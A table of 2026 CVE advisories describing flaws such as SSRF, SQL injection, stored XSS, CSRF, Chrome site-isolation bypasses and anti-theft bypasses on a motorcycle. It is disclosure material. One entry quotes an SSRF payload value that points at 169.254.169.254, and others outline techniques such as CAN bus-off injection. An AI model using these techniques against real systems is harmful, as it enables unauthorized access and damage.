CVE-2026-44972	GuardDog is a CLI tool to identify malicious PyPI packages. From 2.6.0 to 2.9.0, GuardDog includes attacker-controlled filenames, file locations, messages, and code snippets in its default human-readable output without escaping terminal control characters. A malicious package can therefore inject ANSI or OSC escape sequences into analyst terminals or CI logs.	5.0	More Details
CVE-2026-10010	Inappropriate implementation in Input in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: High)	5.0	More Details
CVE-2026-49138	Nanobot prior to version 0.2.1 contains a server-side request forgery vulnerability in the web_fetch tool that allows remote attackers to reach internal or private network hosts by supplying a URL that redirects to a loopback or private address via a 3xx Location header. Attackers can exploit the automatic HTTP redirect following behavior in the httpx library to bypass initial URL validation and cause the runtime to send outbound requests to internal hosts before final resolved URL validation is applied.	5.0	More Details
CVE-2026-10275	A flaw has been found in OpenSC up to 0.26.1. This affects the function test_kpgen_certwrite of the file src/tools/pkcs11-tool.c of the component pkcs11-tool Key Generation Module. This manipulation causes buffer overflow. The attack is possible to be carried out remotely. The complexity of an attack is rather high. It is indicated that the exploitability is difficult. The exploit has been published and may be used. Patch name: 814f745b3b6d100295f65f1935edd33d520d33ab. It is recommended to apply a patch to fix this issue.	5.0	More Details
CVE-2026-10533	A flaw was found in OpenShift Container Platform. Completed pods with restartPolicy: Never do not count toward ResourceQuota pod limits, and Kubernetes events are not quota-scoped. A non-privileged user who can create pods in a namespace can exploit this to generate a large volume of events that accumulate in etcd, causing API server performance degradation across the cluster.	5.0	More Details
CVE-2026-46526	Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.10, the URL checking logic in local-deep-research has a logical flaw that could be bypassed by attackers, leading to SSRF attacks. The current project uses validate_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. However, there are indeed differences in parsing between urlparse and the library that actually sends the request. For example, in safe_get, validate_url is first used to perform an SSRF check, and then requests.get is used to send the actual request. This vulnerability is fixed in 1.6.10.	5.0	More Details
CVE-2026-9903	Insufficient validation of untrusted input in Site Isolation in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted MHTML page. (Chromium security severity: High)	5.0	More Details

CVE-2026-6891	Improper handling of symbolic links in the installer of My Image Garden for macOS Version 3.6.8 or earlier may allow a local attacker with login privileges to exploit a specially crafted symbolic link during installation to modify permissions of files for which they would not normally have authorization.	5.0	More Details
CVE-2026-6892	Improper handling of symbolic links in the installer of CUPS Printer Driver for macOS(*) may allow a local attacker with login privileges to exploit a specially crafted symbolic link during installation to modify permissions of directories for which they would not normally have authorization. *:Canon PIXUS iX6800 Series CUPS Printer Driver for macOS Version 16.91.0.0 or earlier (Japan) Canon PIXMA MG2500 Series and iX6800 Series CUPS Printer Driver for macOS Version 16.91.0.0 or earlier (US and Europe)	5.0	More Details
CVE-2026-9980	Insufficient validation of untrusted input in Printing in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: High)	5.0	More Details
CVE-2026-9942	Uninitialized Use in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: High)	5.0	More Details
CVE-2026-9979	Insufficient validation of untrusted input in Input in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: High)	5.0	More Details
CVE-2026-43979	Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.0, PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py. This vulnerability is fixed in 1.6.0.	5.0	More Details
CVE-2026-46561	pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, the PREREQFUNCTION-based private IP check was not applied to HTTPRequest (used by the parse_urls API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the is_global_host() check on the initial URL. This vulnerability is fixed in 0.5.0b3.dev100.	5.0	More Details
CVE-2026-49433	The DeepAI endpoint 'https://api.deepai.org/change_user_email' accepts POST requests without any CSRF protection. If an attacker can trick a logged-in user into clicking a malicious link, the attacker can change the user's email address and take over their account. Fixed on 2026-05-20.	5.0	More Details
CVE-2026-41704	AgentClient#handle_method (lines 264-303) processes every NATS reply. It calls inject_compile_log (line 273) on every response, which reads response['value']['result']['compile_log_id'] (line 332-338) and passes it to download_and_delete_blob. Separately, any response containing 'exception' goes through format_exception (lines 308-325), which reads exception['blobstore_id'] and also calls download_and_delete_blob. That helper (lines 344-349) calls ResourceManager#get_resource(blob_id) and, in an ensure block, ResourceManager#delete_resource(blob_id). ResourceManager (resource_manager.rb:62-70) calls blobstore.delete(id) on the single shared Director blobstore with no UUID-format check, no ownership check, and no namespace prefix. Affected versions: BOSH Director: All versions prior to v282.1.12	5.0	More Details
CVE-2024-47269	Cleartext transmission of sensitive information vulnerability in Export Key functionality in Synology Surveillance Station before 9.2.2-11575 and 9.2.2-9575 allows remote authenticated users with administrator privileges to obtain sensitive information via unspecified vectors.	4.9	More Details
CVE-2026-40822	A high privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the DevSerialReset function due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	4.9	More Details
CVE-2026-7618	The EnvíaloSimple: Email Marketing y Newsletters plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'orderby' parameter in all versions up to, and including, 2.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	4.9	More Details
CVE-2026-10074	DreamMaker developed by Interinfo has an Arbitrary File Read vulnerability, allowing privileged local attackers to exploit Relative Path Traversal to download arbitrary system files.	4.9	More Details
CVE-2024-47268	Missing authorization vulnerability in AddOns functionality in Synology Surveillance Station before 9.2.2-11575 and 9.2.2-9575 allows remote authenticated users with administrator privileges to obtain sensitive information via unspecified vectors.	4.9	More Details
CVE-	A high privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the		More

2026-40826	dsgvo_contracts view due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	4.9	Details
CVE-2026-40821	A high privileged remote attacker can exploit an unauthenticated SQL Injection vulnerability in the getAccountByID function due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	4.9	More Details
CVE-2024-47271	Insufficiently protected credentials vulnerability in IPSpeaker component in Synology Surveillance Station before 9.2.2-11575 and 9.2.2-9575 allows remote authenticated users with administrator privileges to obtain sensitive information via unspecified vectors.	4.9	More Details
CVE-2026-45731	WWBN AVideo is an open source video platform. In 29.0 and earlier, view/update.php reads $_POST['updateFile'] as a relative path under updatedb/ and passes it to PHP's file() for line-by-line execution as part of a database migration. An authenticated administrator can abuse this to read arbitrary text files reachable from the web-server process.	4.9	More Details
CVE-2026-9801	A flaw was found in Keycloak. A remote attacker with high privileges, such as a realm administrator configuring a malicious Lightweight Directory Access Protocol (LDAP) server or an attacker compromising an upstream LDAP server, could exploit this vulnerability. By sending a malformed LDAP password policy response during a password authentication request, the attacker can trigger an OutOfMemoryError. This causes the Keycloak Java Virtual Machine (JVM) to terminate, leading to a denial of service (DoS) for all realms on the affected node.	4.9	More Details
CVE-2026-10039	The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to generic SQL Injection via the 'order' parameter in all versions up to, and including, 3.28.28 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires that the attacker also supply a valid 'orderby' parameter in the same request, as this is necessary to reach the vulnerable code path that processes and concatenates the 'order' value into the SQL query.	4.9	More Details
CVE-2026-6324	A flaw was found in libsoup. A remote attacker could exploit an unsigned to signed conversion error in the `soup_body_input_stream_read_chunked()` function by sending a malicious HTTP request. This vulnerability occurs when libsoup operates behind a non-libsoup proxy server or as a proxy in front of a non-libsoup backend server. Successful exploitation can allow an attacker to bypass security controls, poison web caches, or gain unauthorized access.	4.8	More Details
CVE-2026-47673	Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.21, the jwt and jwk middlewares do not verify that the Authorization header value uses theBearer scheme. Any two-part header value — regardless of the scheme name in the first position — proceeds to JWT verification. A request presenting a valid JWT under a non-Bearer scheme identifier (such as Basic or Token) is authenticated identically to a correctly formed Bearer request. This vulnerability is fixed in 4.12.21.	4.8	More Details
CVE-2026-4410	IBM WebSphere Application Server - Liberty 19.0.0.7 through 26.0.0.5 and IBM WebSphere Application Server 9.0, and 8.5 and WebSphere Application Server Liberty are vulnerable to a denial of service, caused by sending a specially-crafted request. A remote attacker could exploit this vulnerability to cause the server to consume memory resources.	4.8	More Details
CVE-2026-2280	The rexCrawler plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0.15 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	4.8	More Details
CVE-2026-10058	ITS Intelligent SCADA System developed by ITP Technology has a Stored Cross-Site Scripting vulnerability, allowing privileged remote attackers to inject persistent JavaScript codes that are executed in users' browsers upon page load.	4.8	More Details
CVE-2026-2288	The myLinksDump plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'link_title' parameter in all versions up to, and including, 1.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	4.8	More Details
CVE-2026-34127	A stored cross-site scripting (XSS) vulnerability has been identified in the web management interface of TP-Link's TL-SG108PE v5 switch due to improper sanitation of the SYSNAM configuration parameter during configuration file import. An attacker with administrator access can inject malicious script into the device configuration, which may be stored and executed in the administrator’s browser when the affected interface is viewed. Successful exploitation may allow session cookie theft, unauthorized configuration changes, or access to sensitive information exposed through the management interface.	4.8	More Details
CVE-2026-	ITS Intelligent SCADA System developed by ITP Technology has a Stored Cross-Site Scripting vulnerability, allowing privileged remote attackers to inject persistent JavaScript codes that are executed in users'	4.8	More

10057	browsers upon page load.		Details
CVE-2026-10171	A vulnerability has been found in code-projects Online Music Site 1.0. This affects an unknown part of the file /Administrator/PHP/AdminUpdateAlbum.php. Such manipulation of the argument ID leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.	4.7	More Details
CVE-2026-10237	A vulnerability was found in SourceCodester Water Billing Management System 1.0. Impacted is an unknown function of the file /admin/?page=user/manage_user of the component User Management Module. Performing a manipulation of the argument ID results in sql injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used.	4.7	More Details
CVE-2026-45366	typescript-utcp is a typescript implementation of UTCP. Prior to 1.1.2, the @utcp/http package is vulnerable to a blind Server-Side Request Forgery (SSRF) caused by a trust-boundary inconsistency between manual discovery and tool invocation. registerManual() validates the discovery URL against an HTTPS / loopback allowlist, but callTool() reuses the resolved toolCallTemplate.url directly without revalidating, and the OpenApiConverter blindly trusts whatever servers[0].url an attacker-hosted spec declares. An attacker who hosts a malicious OpenAPI spec on a legitimate HTTPS endpoint can declare e.g. servers: [{ url: "http://127.0.0.1:9090" }] or servers: [{ url: "http://169.254.169.254" }]; the converter then produces tools whose URL points at internal services on the agent host. This vulnerability is fixed in 1.1.2.	4.7	More Details
CVE-2026-10248	A vulnerability was determined in SourceCodester Pharmacy Sales and Inventory System up to 1.0. This issue affects the function create_supplier of the file /Export_csv/export of the component Supplier Creation Interface. This manipulation of the argument Address/Company Name causes csv injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized.	4.7	More Details
CVE-2026-10155	A vulnerability was found in Bdtask Multi-Store Inventory Management System 1.0. The impacted element is the function accounts_report_search of the file application/modules/accounts/controllers/Accounts.php of the component Accounts Report Handler. Performing a manipulation of the argument dtpToDate results in sql injection. The attack is possible to be carried out remotely. The exploit has been made public and could be used.	4.7	More Details
CVE-2026-9609	A vulnerability was identified in QianFox FoxCMS up to 1.2.6. This affects the function Edit of the file Admin.php. The manipulation leads to weak password recovery. The attack can be initiated remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.	4.7	More Details
CVE-2026-49059	URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Facebook Facebook for WooCommerce allows Phishing. This issue affects Facebook for WooCommerce: from n/a through 3.7.0.	4.7	More Details
CVE-2026-10070	A vulnerability was found in macrozheng mall up to 1.0.3. This affects an unknown function of the file /admin/update/ of the component Super Admin Password Handler. Performing a manipulation results in improper authorization. Remote exploitation of the attack is possible. The vendor deleted the GitHub issue for this vulnerability without any explanation. Afterwards the vendor was contacted early about this disclosure via email but did not respond in any way.	4.7	More Details
CVE-2026-49325	Improper handling of physical conditions in the bike-shutdown control of the Indian Motorcycle Scout Bobber + Tech 2025 model year allows a physical attacker with access to the Wireless Control Module (WCM) wiring harness to bypass the anti-theft shutdown. The WCM signals shutdown to a peer ECU via a falling-edge voltage transition on a dedicated wire pair. The receiving ECU does not distinguish between an active shutdown pulse and an open-circuit / disconnected condition; interrupting the relevant wires leaves the motorcycle fully operable even though the WCM never validated the rider's PIN. Specific connector details have been withheld pending vendor remediation.	4.6	More Details
CVE-2026-49316	Expected behavior violation in the in-vehicle network of the Indian Motorcycle Scout Bobber + Tech 2025 model year allows an adjacent-network attacker to bypass the motorcycle's anti-theft shutdown by forcing the Wireless Control Module (WCM) into the CAN bus-off state. Using a well-known CAN error-frame injection technique against a periodic WCM transmission, the attacker drives the WCM CAN controller's transmit error counter past the bus-off threshold, after which the WCM stops transmitting all messages, including the shutdown command. Peer ECUs do not interpret WCM silence as a security event and continue normal operation, allowing the motorcycle to be operated despite the immobilizer never having been unlocked. Specific protocol details have been withheld pending vendor remediation.	4.6	More Details
CVE-2026-33462	A path traversal vulnerability was identified in Kibana's dashboard management functionality. An authenticated user with limited permissions could create a dashboard with a specially crafted identifier. When an administrator subsequently attempts to delete this dashboard through the Kibana interface, the deletion request is redirected to an unintended internal endpoint, potentially resulting in the unauthorized deletion of user accounts or other resources. Exploitation requires an administrator to perform a delete action on the maliciously crafted dashboard object.	4.6	More Details
CVE-	Nextcloud is an open source content collaboration platform. From version 33.0.0 to before version 33.1.0,		More

2026-45153	after unlocking a locked Android phone the back-button could be used to bypass the Nextcloud Files app PIN. This issue has been patched in version 33.1.0.	4.6	Details
CVE-2026-44710	pam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.8.7, src/device.c passed the return values of udisks_drive_get_serial(), udisks_drive_get_vendor(), and udisks_drive_get_model() directly to strcmp() without NULL checks. The GIO/UDisks API documentation states these accessors can return NULL for devices that do not expose the corresponding field. Passing NULL to strcmp() is undefined behaviour (typically a SIGSEGV). This vulnerability is fixed in 0.8.7.	4.6	More Details
CVE-2026-45284	Nextcloud is an open source content collaboration platform. From version 1.3.6 to before version 8.4.0, an improper check allowed users that where provided by LDAP to still authenticate towards user OIDC after they where deleted. This issue has been patched in version 8.4.0.	4.6	More Details
CVE-2026-49324	Uncontrolled resource consumption in the Wireless Control Module (WCM) of the Indian Motorcycle Scout Bobber + Tech 2025 model year allows an adjacent-network attacker with write access to the in-vehicle network to permanently immobilize the motorcycle. The WCM enforces a brute-force lockout on the immobilizer authentication algorithm, but the lockout counter is reachable by any unauthenticated message, has no session binding, and does not reset on power cycle. An attacker can deliberately trip the lockout with a small number of crafted frames, leaving the bike un-startable until dealer service. Specific thresholds have been withheld pending vendor remediation.	4.6	More Details
CVE-2026-44640	NanoMQ MQTT Broker (NanoMQ) is an all-around Edge Messaging Platform. Prior to 0.24.14, aio->prov_data is stored as nni_quic_conn* during dialing, but read as ex_quic_conn* during dialer close. This type confusion causes invalid object interpretation and leads to close-path hang/crash behavior. This vulnerability is fixed in 0.24.14.	4.5	More Details
CVE-2026-49382	In JetBrains IntelliJ IDEA before 2026.1 code execution was possible via template injection in the Copyright plugin	4.5	More Details
CVE-2026-45279	Nextcloud is an open source content collaboration platform. In Nextcloud Server from versions 31.0.0 to before 31.0.14, and 32.0.0 to before 32.0.4, if {lang} is used in the template directory config value, non-admin users can in some cases copy arbitrary files (depending on unix permissions) into their own Nextcloud directory via a path traversal. It is recommended that the Nextcloud Server is upgraded to 32.0.4, 31.0.14. It is recommended that the Nextcloud Enterprise Server is upgraded to 32.0.4, 31.0.14, 30.0.17.7, 29.0.17.12, 28.0.14.15	4.4	More Details
CVE-2026-5516	IBM WebSphere Application Server - Liberty 22.0.0.11 through 26.0.0.5 IBM WebSphere Application Server Liberty could allow a remote attacker to bypass security under limited conditions by exploiting a specific timing window.	4.4	More Details
CVE-2026-48792	pam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.9.1, src/evdev.c silently ignores EACCES errors when opening /dev/input/event* nodes, causing pusb_has_virtual_input_device() to return 0 (no virtual devices found) even when every open() call failed due to insufficient permissions. The caller in src/local.c cannot distinguish a clean absence of virtual devices from a permission-denied scan, and acts on the false negative by continuing authentication without denying. This vulnerability is fixed in 0.9.1.	4.4	More Details
CVE-2026-3348	The MinhNhut Link Gateway plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's settings (Description, Title, and other fields) in all versions up to, and including, 3.6.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the redirect page. This only affects multi-site installations and installations where unfiltered_html has been disabled.	4.4	More Details
CVE-2026-7430	The Post Snippets plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 4.0.19. This is due to insufficient output escaping of imported snippet content when rendering JavaScript variables in the post editor. Specifically, the `jqueryUiDialog()` method in `WPEditor.php` embeds snippet content directly into JavaScript string literals without escaping double quotes (the quote-escaping code on line 214 is commented out). When snippets are imported via the Import/Export feature, the content bypasses WordPress's `wp_magic_quotes()` (which would otherwise add protective backslashes), allowing double quotes in snippet content to break out of the JavaScript string context. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts via a malicious import file that execute whenever any administrator accesses a post editor page. Please note that this does not affect single-site installations as administrators already have the `unfiltered_html` capability.	4.4	More Details
CVE-2026-9921	Uninitialized Use in WebGL in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin information via a crafted HTML page. (Chromium security severity: High)	4.3	More Details
	The FOX – Currency Switcher Professional for WooCommerce plugin for WordPress is vulnerable to Authorization Bypass Through User-Controlled Key in all versions up to and including 1.4.6. This is due to the		

CVE-2026-9241	`get_value()` function in `classes/fixed/fixed_user_role.php` trusting the attacker-controlled `$_REQUEST['wooc_order_user_roles']` parameter to determine the user's role context for role-based price resolution without any validation, allowing it to override the legitimate role data derived from the authenticated user's session object via `$user->roles`. This makes it possible for authenticated attackers, with Subscriber-level access and above, to impersonate higher-privileged roles — such as wholesale customer or administrator — and obtain discounted or otherwise restricted pricing that should not be available to their actual role. This vulnerability only has practical impact when the fixed user-role pricing feature is enabled and at least one product has a privileged-role price configured.	4.3	More Details
CVE-2026-8716	GitLab has remediated an issue in GitLab CE/EE affecting all versions from 12.7 before 18.10.7, 18.11 before 18.11.4, and 19.0 before 19.0.1 that under certain conditions could have allowed an authenticated user to access CI data from a different ref type than intended.	4.3	More Details
CVE-2026-9228	The Timetable and Event Schedule by MotoPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.4.16 via the action_get_event_data due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to enumerate timeslot IDs and read the full WP_Post object — including post_content, post_excerpt, post_status, and post_author — of draft, pending, and private mp-event posts belonging to other users, along with their associated raw timeslot descriptions.	4.3	More Details
CVE-2026-9929	Inappropriate implementation in WebGL in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	4.3	More Details
CVE-2026-9913	Inappropriate implementation in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially perform out of bounds memory access via a crafted HTML page. (Chromium security severity: High)	4.3	More Details
CVE-2026-48971	Missing Authorization vulnerability in WebToffee Product Import Export for WooCommerce allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Product Import Export for WooCommerce: from n/a through 2.5.6.	4.3	More Details
CVE-2026-8943	The GoStats for WordPress plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4. This is due to missing or incorrect nonce validation on the gostats_manage() function. This makes it possible for unauthenticated attackers to update the plugin's settings (gostats_siteid and gostats_server options) via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	4.3	More Details
CVE-2026-10154	A vulnerability has been found in Dolibarr ERP CRM 23.0.0/23.0.1/23.0.2. The affected element is an unknown function of the file htdocs/user/messaging.php. Such manipulation of the argument ID leads to authorization bypass. The attack can be executed remotely. Upgrading to version 23.0.3 is sufficient to fix this issue. The name of the patch is 119b3606c7a701747a57a1f18b1a9e7666f678e2. It is suggested to upgrade the affected component.	4.3	More Details
CVE-2026-49369	In JetBrains YouTrack before 2026.1.13162 information disclosure was possible on Users and Groups pages	4.3	More Details
CVE-2026-9236	The CM Ad Changer – A simple tool to control and optimize your site's banners plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.7. This is due to missing or incorrect nonce validation on the cmac_campaigns_action function. This makes it possible for unauthenticated attackers to permanently delete arbitrary advertising campaigns, including their associated banner records and uploaded files via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	4.3	More Details
CVE-2026-10153	A flaw has been found in westboy CicadasCMS up to 2431154dac8d0735e04f1fd2a3c3556668fc8dab. Impacted is the function Search of the file org/springframework/cache/support/AbstractCacheManager.java. This manipulation of the argument s causes cross site scripting. Remote exploitation of the attack is possible. The exploit has been published and may be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.	4.3	More Details
CVE-2026-10156	A vulnerability was determined in Open5GS up to 2.7.7. This affects the function handle_amf_info in the library /lib/sbi/nnrf-handler.c of the component nf-instances Endpoint. Executing a manipulation of the argument nf_info_pool can lead to resource consumption. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. Applying a patch is advised to resolve this issue. The issue report is flagged as already-fixed.	4.3	More Details
CVE-2026-	A weakness has been identified in Orthanc Explorer 2 up to 1.12.0. The impacted element is an unknown function of the file WebApplication/src/components/StudyList.vue of the component URL Handler. This manipulation of the argument remote-source causes cross site scripting. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. Patch name:	4.3	More Details

10173	21f78ce5da668bf5233efcd1896ec7c6e3b22eae. Applying a patch is the recommended action to fix this issue.		
CVE-2026-4888	The Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder plugin for WordPress is vulnerable to unauthorized email sending due to a missing capability check on the send_test_email() function in all versions up to, and including, 3.4.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to send test emails to arbitrary addresses from the server.	4.3	More Details
CVE-2026-9919	Out of bounds read in WebGL in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)	4.3	More Details
CVE-2026-8708	The Genzel breadcrumbs plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2. This is due to missing or incorrect nonce validation on the _options_page function. This makes it possible for unauthenticated attackers to update the plugin's breadcrumb configuration, including templates, delimiter, home label, home URI, and breadcrumb rules via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	4.3	More Details
CVE-2026-8941	The CDN Linker lite plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.3.1. This is due to missing or incorrect nonce validation on the ossdl_off_options() function. This makes it possible for unauthenticated attackers to update the plugin's settings — including the CDN URL used to rewrite all static asset references on the site — via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	4.3	More Details
CVE-2026-8939	The Search Simple Fields plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 0.2. This is due to missing or incorrect nonce validation on the search_simple_fields_options() function in functions_admin.php. This makes it possible for unauthenticated attackers to modify the plugin's settings — including post types to search in, custom fields, media fields and the custom media function name — via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	4.3	More Details
CVE-2026-7614	The Old Posts Highlighter plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.3. This is due to missing or incorrect nonce validation on the OPH_options function. This makes it possible for unauthenticated attackers to update the plugin's configuration settings without authorization via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	4.3	More Details
CVE-2026-8938	The auto making JSON-LD plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.5.3. This is due to missing or incorrect nonce validation on the amJL_certification function. This makes it possible for unauthenticated attackers to update the plugin's license key option, and subsequently trigger license validation and pro feature installation on the victim site without the administrator's consent via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. Successful exploitation can trigger downstream calls to amJL_is_license_valid() and amJL_download_and_install_pro_features(), meaning the impact extends beyond a simple settings change to unauthorized installation of plugin components.	4.3	More Details
CVE-2026-8903	The Two-factor authentication (formerly IP Vault) plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.1. This is due to missing or incorrect nonce validation on the ipv_save_changes function. This makes it possible for unauthenticated attackers to modify the plugin's firewall and two-factor authentication settings — including the operating mode, request include/exclude rules, authentication slug, and log retention period — potentially disabling protection entirely via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	4.3	More Details
CVE-2026-10289	A security flaw has been discovered in code-projects Hotel and Tourism Reservation System 1.0. Impacted is an unknown function of the file /ht/tour.php. Performing a manipulation of the argument name /email /people /number results in cross site scripting. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks.	4.3	More Details
CVE-2026-5296	GitLab has remediated an issue in GitLab EE affecting all versions from 18.7 before 18.10.7, 18.11 before 18.11.4, and 19.0 before 19.0.1 that when foundational flows were enabled at the group level, could have allowed an authenticated user with developer-role permissions to bypass flow restrictions under certain conditions.	4.3	More Details
CVE-2026-49377	In JetBrains TeamCity before 2025.11.2 exposure of sensitive data via default agent parameters	4.3	More Details
CVE-2026-9048	The Slider Revolution plugin for WordPress is vulnerable to Sensitive Information Exposure in versions 7.0.0 - 7.0.14, via the 'slider.get.full' AJAX Action. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive data including raw social media API credentials: the Instagram OAuth token, Flickr API key, YouTube Data API key, and Facebook App ID, stored in any configured	4.3	More Details

	slider's settings.		
CVE-2026-10114	A vulnerability was determined in Open5GS up to 2.7.7. Affected by this issue is the function handle_scp_info in the library lib/sbi/nnrf-handler.c of the component Shared NF-profile Parser. This manipulation causes out-of-bounds write. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. To fix this issue, it is recommended to deploy a patch.	4.3	More Details
CVE-2026-10115	A vulnerability was identified in Open5GS up to 2.7.7. This affects an unknown part in the library lib/sbi/nnrf-handler.c of the component Shared NF-profile Parser. Such manipulation leads to denial of service. The attack can be launched remotely. The exploit is publicly available and might be used. It is advisable to implement a patch to correct this issue.	4.3	More Details
CVE-2026-10116	A security flaw has been discovered in Open5GS up to 2.7.7. This vulnerability affects the function ogs_sbi_xact_add in the library /lib/core/ogs-timer.c of the component ue-authentications Endpoint. Performing a manipulation results in denial of service. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. Applying a patch is the recommended action to fix this issue.	4.3	More Details
CVE-2026-10117	A weakness has been identified in Open5GS up to 2.7.7. This issue affects the function ogs_pool_id_calloc in the library /lib/sbi/nghttp2-server.c. Executing a manipulation can lead to denial of service. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. It is best practice to apply a patch to resolve this issue.	4.3	More Details
CVE-2026-48924	Jenkins Bitbucket OAuth Plugin 0.17 and earlier does not restrict the redirect URL after login, allowing attackers to perform phishing attacks.	4.3	More Details
CVE-2022-41656	Missing Authorization vulnerability in Bizswoop Account Manager for WooCommerce allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Account Manager for WooCommerce: from n/a through 2.1.2.	4.3	More Details
CVE-2026-48925	A cross-site request forgery (CSRF) vulnerability in Jenkins GitHub Integration Plugin 0.7.3 and earlier allows attackers to attackers to trigger a build for a pull request.	4.3	More Details
CVE-2026-9674	A cross-site request forgery (CSRF) vulnerability in Jenkins Multijob Plugin 662.vd2e0001f6b_b_d and earlier allows attackers to resume failed Multijob builds.	4.3	More Details
CVE-2026-48926	Jenkins Job Import Plugin 143.v044a_2e819b_27 and earlier does not perform a permission check in an HTTP endpoint, allowing attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins.	4.3	More Details
CVE-2026-9050	The Slider Revolution plugin for WordPress in versions 6.0.0-6.7.55 and 7.0.0-7.0.14 is vulnerable to unauthorized modification of data. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with Contributor-level access and above, to deactivate any active plugin installed on the site.	4.3	More Details
